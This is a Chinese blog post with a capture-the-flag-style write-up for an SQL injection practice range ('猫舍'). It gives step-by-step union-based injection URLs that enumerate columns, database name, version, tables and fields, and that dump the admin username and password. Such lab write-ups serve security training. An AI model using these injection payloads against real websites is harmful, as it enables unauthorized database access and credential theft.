【封神台】辛巴猫舍-SQL注入
创始人
2024-04-25 00:12:53
0

本节学习目标:

  • 判断是否存在SQL漏洞,以便注入
  • 获取数据库的内容

本节需知: 

  • SQL注入
  • %20为空格的url代码
  • 环境为打靶环境

1. 判断是否存在SQL漏洞

http://cntj8003.ia.aqlab.cn/index.php?id=1%20and%201=1

http://cntj8003.ia.aqlab.cn/index.php?id=1%20and%201=2

刚开始时1=1逻辑为真,页面正常显示;而后1=2逻辑为假,页面不正常显示:说明可以注入。 

2. 判断字段数

http://cntj8003.ia.aqlab.cn/index.php?id=1%20order%20by%201

假设为1,正常显示。

http://cntj8003.ia.aqlab.cn/index.php?id=1%20order%20by%202

假设为2,正常显示。

http://cntj8003.ia.aqlab.cn/index.php?id=1%20order%20by%203

假设为3,不正常显示。

判定字段数为2。

3. 判断回显点

http://cntj8003.ia.aqlab.cn/index.php?id=1%20and%201=2%20union%20select%201,2

出现2,说明2就是回显字段。

4. 查询数据库 

http://cntj8003.ia.aqlab.cn/index.php?id=1%20and%201=2%20union%20select%201,database()

 出现maoshe,说明当前数据库为maoshe。

5. 查询数据库版本

http://cntj8003.ia.aqlab.cn/index.php?id=1%20and%201=2%20union%20select%201,version()

出现5.5.53,说明当前数据库版本为5.5.53。

6. 查询当前数据库表名 

http://cntj8003.ia.aqlab.cn/index.php?id=1%20and%201=2%20union%20select%201,table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1

出现admin,说明当前数据库存在一个表admin,里面就可能存在管理员信息。

7. 查询字段名 

http://cntj8003.ia.aqlab.cn/index.php?id=1%20and%201=2%20union%20select%201,column_name%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name%20=%20%27admin%27%20limit%200,1

http://cntj8003.ia.aqlab.cn/index.php?id=1%20and%201=2%20union%20select%201,column_name%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name%20=%20%27admin%27%20limit%201,1

http://cntj8003.ia.aqlab.cn/index.php?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name = %27admin%27 limit 2,1

 当limit3,1时页面不正常显示,说明admin有三个字段,分别是id,username,password。

8.查询管理权限

http://cntj8003.ia.aqlab.cn/index.php?id=1%20and%201=2%20union%20select%201,username%20from%20admin%20limit%200,1

有一个用户admin。

当limit1,1时,有输出,limit2,1时无输出,也就是说这时候有两个用户,我们先尝试取admin的密码。

http://cntj8003.ia.aqlab.cn/index.php?id=1 and 1=2 union select 1,password from admin limit 0,1

 得到密码hellohack


参考文献:

猫舍 writeup- Track 知识社区 - 掌控安全在线教育 - Powered by 掌控者

相关内容

热门资讯

监控摄像头接入GB28181平... 流程简介将监控摄像头的视频在网站和APP中直播,要解决的几个问题是:1&...
Windows10添加群晖磁盘... 在使用群晖NAS时,我们需要通过本地映射的方式把NAS映射成本地的一块磁盘使用。 通过...
protocol buffer... 目录 目录 什么是protocol buffer 1.protobuf 1.1安装  1.2使用...
在Word、WPS中插入AxM... 引言 我最近需要写一些文章,在排版时发现AxMath插入的公式竟然会导致行间距异常&#...
【PdgCntEditor】解... 一、问题背景 大部分的图书对应的PDF,目录中的页码并非PDF中直接索引的页码...
Fluent中创建监测点 1 概述某些仿真问题,需要创建监测点,用于获取空间定点的数据࿰...
educoder数据结构与算法...                                                   ...
MySQL下载和安装(Wind... 前言:刚换了一台电脑,里面所有东西都需要重新配置,习惯了所...
MFC文件操作  MFC提供了一个文件操作的基类CFile,这个类提供了一个没有缓存的二进制格式的磁盘...
有效的括号 一、题目 给定一个只包括 '(',')','{','}'...